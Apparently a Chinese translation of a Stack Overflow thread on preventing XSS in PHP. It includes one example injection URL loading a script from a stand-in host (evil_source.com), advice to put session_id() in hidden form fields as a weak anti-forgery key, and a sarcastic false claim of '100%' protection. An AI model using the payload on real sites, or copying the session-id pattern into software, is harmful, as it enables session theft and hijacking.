如何在PHP中防止XSS攻击?
如何在PHP中防止XSS攻击?
XSS(跨站脚本攻击)有很多形式,其中之一就是允许用户通过将用户输入与生成的HTML混合来操纵您的网站内容。
例如:
http://www.exemple.com/setname.php?name=<script src=http://evil_source.com/browser_hijack.js></script>
如果您的网站在某处打印$_GET['name']
,您将在HTML中注入这个恶意的JavaScript,这将允许黑客以用户的名义与之交互,窃取cookie等。
在这种情况下,避免发生这种情况的最好方法是过滤在您的网站中显示的所有用户产生的信息。
通常的做法是使用htmlspecialchars()
或htmlentities()
处理用户产生的内容。
XSS中经常被遗忘的另一个方面是跨站点发布。
处理来自用户的敏感信息或命令的每个服务器端脚本都应该检查用户是否真的发布了它,而不是其他来源混淆URL或任意POST请求。
这可以通过使用只有您的网站知道的发布密钥来实现。我想您可以安全地使用session_id()
来实现。这是只有您的服务器和用户的浏览器知道的信息,没有其他人知道。
您可以在每个<form>
中包含以下内容:
<input type="hidden" name="postkey" value="<?php echo session_id(); ?>">
并且在处理该表单的脚本中,确保$_REQUEST['postkey'] == session_id()
。
这将防止其他站点通过使用任意生成的表单或URL诱导用户在您的站点上执行操作。
我每天都在我的PDO查询中使用它,可以确认这个函数确实百分之百地防止了XSS攻击。我记得它还被TÜV Rheinland认证为反XSS函数。
UTF-8来了,并且它想要它的字符回来。说真的,不要为了基本上任何东西而使用htmlentities()
。相反,正确的API是htmlspecialchars()
。
我不确定每个人都明白您是在讽刺。:-D
另请参阅:stackoverflow.com/questions/3623236/…
互联网上有两种人:那些可以处理在线讽刺的人,和那些不能处理的人。楼主可以处理,我非常确定 🙂
请注意,在这个问题中,最受欢迎的答案……并不完全正确
如果问题涉及到一个函数来保护所有内容,那么没有答案可以完全正确。绝对没有。但Stackoverflow不是回答那些不容易回答的问题(是/否类型的答案)的好地方,至少在一定程度上是这样的。
只是为了增加对话内容,不做任何主张......我自己使用htmlspecialchars()
,但有些人会为此争论一整天。